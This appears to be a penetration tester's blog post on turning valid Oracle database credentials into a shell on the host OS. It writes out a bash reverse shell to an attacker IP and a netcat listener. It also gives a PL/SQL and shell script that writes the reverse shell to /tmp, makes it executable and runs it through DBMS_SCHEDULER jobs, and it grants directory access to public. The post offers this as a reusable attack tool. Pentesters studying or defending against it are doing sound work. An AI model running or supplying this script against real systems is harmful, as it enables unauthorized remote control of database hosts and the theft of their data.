When penetration-testing you get to see lots of seemingly unbelievable security failures, but they're so common that as penetration testers you're never really surprised.
We know from our Global Security Report 2012 (www.trustwave.com/GSR) that 89% of the
300+ data breaches we investigated last year, the target data was "customer records" - and you might assume that a DBA will always know what it takes to secure an organization's keys to the kingdom – customer records.
However, we in SpiderLabs are confronted with Oracle databases on internal network penetration tests where default or easily guessable Oracle System ID's (SIDs) are used, and default or easily guessable database credentials are used. Having access to the Oracle database with one credential usually ends up with total system compromise, including the host, if not locked down sufficiently.
Just to recap the basics of Oracle hacking (not using available exploits), for those who are unfamiliar:
1) Find an Oracle database
2) Find the SID
3) Find username/password
4) Login and enumerate the DB schema
5) Retrieve the data you're after
6) Go after the OS.
The point of this blog is not to reiterate the basics (points 1-5) which are sprawled elsewhere on the Internet in great detail, but more point 6) going after the OS.
Going back to my scenario… assume we've harvested the data from the database, and we still have time left to own the host. In this example, we'll assume that only the Oracle port is accessible on the target host, but we would like an interactive shell, to further our attack possibilities. So, I wasn't interested in testing out all the possible exploits available, but more what can you do with a valid login credential to the Oracle database to read/write and gain access to the underlying host.
I was after some PL/SQL code that would create a text file (a bash script) on the target host, change it to an executable (it was UNIX), run it and then see what I could do from there.
Well, my own goal was to get a shell onto the box. Given that only Oracle TCP 1521 was open, we needed a reverse shell. One of the simplest reverse shells out there is a bit of bash hokey pokey:
bash -i >& /dev/tcp/10.1.1.1/12345 0>&1
When run on our target host, this creates a new descriptor which is assigned to a network node. All we have to do is create a TCP listener on our attacking host, the same value as the port assigned above (12345):
nc –l –p 12345
OK, so I knew what I wanted to do in my bash script to write on the Oracle host. What's the best way to interact with the host operating system, i.e. write a script to the local system and run it?
Oracle has a number of tools that are shipped by default and there are different methods of writing to the operating system. The method I used provided the least grief, and worked first time. Note that the method I'll show below will work from Oracle 10g or greater.
- I used the SYS.DBMS_ADVISOR.CREATE_FILE function to create a file dk_shell.sh and write it to /tmp. The file contents contained the bash reverse shell commands 'bash -i >& /dev/tcp/$HOST/$PORT 0>&1' (where $HOST was the attacking IP I gave to the script, and $PORT was the port listener that I created with netcat
- I then used the DBMS_SCHEDULER.CREATE_JOB function to create a job called 'myjob' which ran the command chmod 755 on /tmp/dk_shell.sh
- I finally used the DBMS_SCHEDULER again to run my script /tmp/dk_shell.sh
The code is shown below:
echo "Open a tcp port listener"
echo "Enter your listening TCP port:"
echo "Enter your attacking host IP:"
echo "Go and run your listener e.g. nc -l -p $PORT ....hit any key when ready"
CREATE DIRECTORY MYDIR as '/tmp';
GRANT read,write on DIRECTORY MYDIR to public;
SET define off;
mydata:='bash -i >& /dev/tcp/$HOST/$PORT 0>&1';
SYS.DBMS_ADVISOR.CREATE_FILE (mydata, mydir, myfile);
dbms_scheduler.create_job(job_name => 'myjob',
job_type => 'executable',
job_action => '/bin/chmod',
number_of_arguments => 2,
enabled => FALSE,
auto_drop => TRUE);
dbms_scheduler.create_job(job_name => 'DKSHELL',
job_type => 'EXECUTABLE',
job_action => '/bin/bash',
number_of_arguments => 1,
start_date => SYSTIMESTAMP,
enabled => FALSE);
Sticking this code in my own script dk_oracle_blog.sh, created a useful tool I could use to gain a shell onto an Oracle box.So, on your attacking host, run the script, give it <USER> <PASSWORD> <Oracle IP> < SID>. It asks for the listener port, set that up with netcat using nc –l –p <Port>.
The window on the left shows the script being run, the window on the right shows a reverse shell obtained on the target system. Using this technique, the possibilities are endless what script you could run on the host operating system. Next steps, get it working for Windows Oracle hosts!